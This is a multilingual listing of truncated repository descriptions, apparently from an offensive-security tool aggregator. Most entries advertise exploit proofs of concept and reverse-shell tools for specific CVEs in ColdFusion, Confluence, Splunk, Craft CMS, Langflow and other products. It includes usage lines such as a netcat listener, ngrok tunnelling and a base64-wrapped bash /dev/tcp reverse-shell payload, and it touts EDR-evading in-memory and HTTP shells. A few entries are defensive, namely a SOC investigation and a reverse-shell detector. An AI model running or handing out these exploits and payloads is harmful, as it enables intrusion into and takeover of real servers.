CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE このリポジトリには、Adobe ColdFusion 2018 の RCE 脆弱性に対するエクスプロイトコードが含まれています。 エクスプロイトの説明 このエクスプロイトは、JSP リバースシェルを含む POST リクエストを /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが...

IPFire_2.25_RCE_Authenticated

IPFire 2.25 Ejecución Remota de Código Autenticado - CVE-2021-33393 Este exploit se basa en CVE-2021-33393 https://nvd.nist.gov/vuln/detail/CVE-2021-33393 y se construyó sobre el exploit original de Mücahit Saratar https://github.com/KaanaryOverFlow/ipfire-2-25-auth-rce, extendiéndolo para lograr...

CVE-2024-23692

CVE-2024-23692 - Rejetto HFS 远程代码执行 RCE 一份针对 CVE-2024-23692 的战术文档与漏洞利用指南。该漏洞是一个未经身份验证的严重远程代码执行 RCE 漏洞，影响 2.3m 之前的 Rejetto HTTP File Server HFS 版本。本指南利用 内存反弹 Shell （仅 RAM）技术，成功规避基于签名的杀毒软件/EDR 磁盘写入检测。 免责声明： 本仓库及其内容严格用于授权的安全评估、渗透测试项目、漏洞赏金模拟以及防御性取证审计。未经授权对第三方环境进行利用是严格违法的。 致谢与参考...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire ラボ Tier 2 の Security Operations Center SOC アナリストとしてシフト中、Tier 1 アナリストから、複数の不審な外部IPアドレスと通信していることが観察された公開アクセス可能なサーバに関するエスカレーションを受け取りました。 これに対応し、私は標準的なインシデントレスポンス IR...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X逆シリアル化リバースシェル版 作者のコマンドラインモードに基づいてGUIインターフェースを書き換える 詳細:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-Big herramienta de explotación de vulnerabilidades versión GUI v1.0 Instrucciones de uso de la herramienta En el lugar de ejecución de comandos, si la primera ejecución falla, inténtalo varias veces más. Detección de direcciones de destino en lote Ejecutar shell inversa Detecció...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui 本ツールは認可された状態でのみ使用してください。刑事案件が発生した場合、無認可の攻撃行為は当方とは無関係です。皆様には『网络安全法』を熟知していただきますようお願いします。 とあるペネトレーションテスト中に14882に遭遇しましたが、使いやすいGUIのPOCが見つからなかったため、リファクタリングしました。個人的にはGUIベースのPOCの方が好みです。 v1バージョンでは10.3.6バージョンは利用できません。...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 真实环境 POC 用法 下载 bun https://github.com/oven-sh/bun/releases 启动 ngrok root@kitploit: ngrok tcp 4444 监听 localhost 4444 root@kitploit: nc -nvlp 4444 运行 exploit root@kitploit: bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169...

CIMCown

CIMCown CVE-2026-20200 Cisco IMC 中的参数注入与 RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 公告: NSIDE-SA-2026-003 博客文章:...

offsec-karaf-exploits

offsec-karaf-exploits 用法： root@kitploit: python exploit.py --help 示例： root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf 重新构建 Payload 设置 Felix 框架 1. 创建 lib 目录 root@kitploit: mkdir -p ./revshell/lib 2. 下载 Felix Framework 7.0.5...

craftcms-cve-2025-32432-rce

root@kitploit: payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus 如果你知道某个存在 SSRF 漏洞的地方，那么这个工具将帮助你生成 Gopher 载荷，用于利用 SSRF（服务器端请求伪造）并获得 RCE（远程代码执行）。同时，它还能帮助你在目标服务器上获取反弹 Shell。更多 信息可以查看相关博客：Gopherus 博客 关于 该工具可以为以下目标生成载荷： 1. MySQL Port-3306 2. PostgreSQLPort-5432 3. FastCGI Port-9000 4. Memcached Port-11211 如果存储的数据被以下语言反序列化： Python Ruby PHP 5. Redis Port-63...

php-reverse-shell

php-reverse-shell...

Splunk-RCE-poc

Splunk RCE - 概念验证（PoC） 针对 CVE-2023-46214、SVD-2023-1104 的利用概念验证 使用方法 Splunk 实例 URL、用户名、密码、反向 Shell IP 和端口均需作为命令行参数提供。例如： root@kitploit: $ python3 CVE-2023-46214.py --url --username --password --ip --port 前置条件 具有上传到 adddatamethods 权限的 Splunk 凭据 注意：可能存在其他攻击途径，这只是我使用的方式 Splunk 未以 SHC 模式运行 分析...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; 一旦模块通过此检查而被视为"有效附加组件（valid Add-On）"，任何 install.php 脚本都会在服务器上自动执行。该漏洞利用工具仅需使用一个 php 反弹 shell 作为 PHP 载荷。 YouTube 演示： https://youtu.be/Dhg5gRe9Dzs?si=LHC29PBRRRPNNy73 root@kitploit: Description: This is an Authenticated RCE exploit for WBCE CMS...

sagemcom-fast-3890-exploit

Sagemcom Fast 3890 漏洞利用 此漏洞利用工具利用 Cable Haunt 漏洞，通过本地网络访问，在 Sagemcom F@ST 3890（50.10.19）线缆调制解调器上弹出一个 shell。固件版本 50.10.21 或更新版本应能免受 Cable Haunt 漏洞的影响。此概念验证（Proof of Concept）特意设计为仅在本地运行，以限制其被用于恶意目的的可能性。另一个针对 Technicolor TC7230 的 POC 可创建到外部连接的反向 shell，可在此处获取：这里。 已知易受攻击的调制解调器列表可在...

Http-Asynchronous-Reverse-Shell

HTTP/S 非同期リバースシェル ✨ はじめに IDS、IPS、EDR、AV、ファイアウォールといった高度な検知システムが企業ネットワークを支配する時代において、オフェンシブセキュリティアセスメント中にそれらを回避することは課題です。ほとんどのリバースシェルはTCPトンネル（L4）を利用しており、現在では日常的に分析されフラグが立てられています。 このプロジェクトは革新的なソリューションを提供します : 正規のユーザー行動を模倣することで通常のWebトラフィックに溶け込む、HTTP/S上の完全非同期リバースシェルです。 従来のリバースシェルとは異なり、GETリクエスト...

HRShell

HRShell: Flask で構築された高度な HTTPS リバースシェル HRShell は、Flask で構築された HTTPS/HTTP リバースシェルであり、Python 3.x に対応しています。client.py は以下の環境で正常にテストされています: Linux Ubuntu 18.04 LTS、Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 一方、server.py は Unix システムに対応しています（ Windows サポートは近日公開予定… ）。 特徴 ステルス性が高い TLS サポート 🔑...

watcher

アンチリバースシェル こんにちは、私の名前はthemoon（別名shalev）です。このプロジェクトは、セキュリティが低いサーバーを運用している人々を支援するために作成しました。このプロジェクトを使用して、リバースシェルを試みる攻撃者からコンピュータを保護できます。 このプロジェクトについての情報 このプロジェクトの動作はこちらで確認できます https://miro.com/app/board/uXjVGAn3Ml8=/?sharelinkid=431140843238 リバースシェル 不審なプロセスとコマンド実行の検出...

CVE-2026-33017-Langflop

CVE-2026-33017 Langflow "Langflop" 未认证 RCE PoC 该 PoC 针对 Langflow 中未认证的 buildpublictmp 代码执行漏洞。它通过向公共流程上传恶意组件，触发构建，并捕获反弹 shell。 仅限授权安全测试。 只对您拥有或获得明确测试许可的系统使用。 环境要求 Python 3 requests pip install requests 使用方法 运行内置监听器并一次性触发漏洞利用： root@kitploit: python3 poc.py \ --url https://target:7860 \ --flow-id ...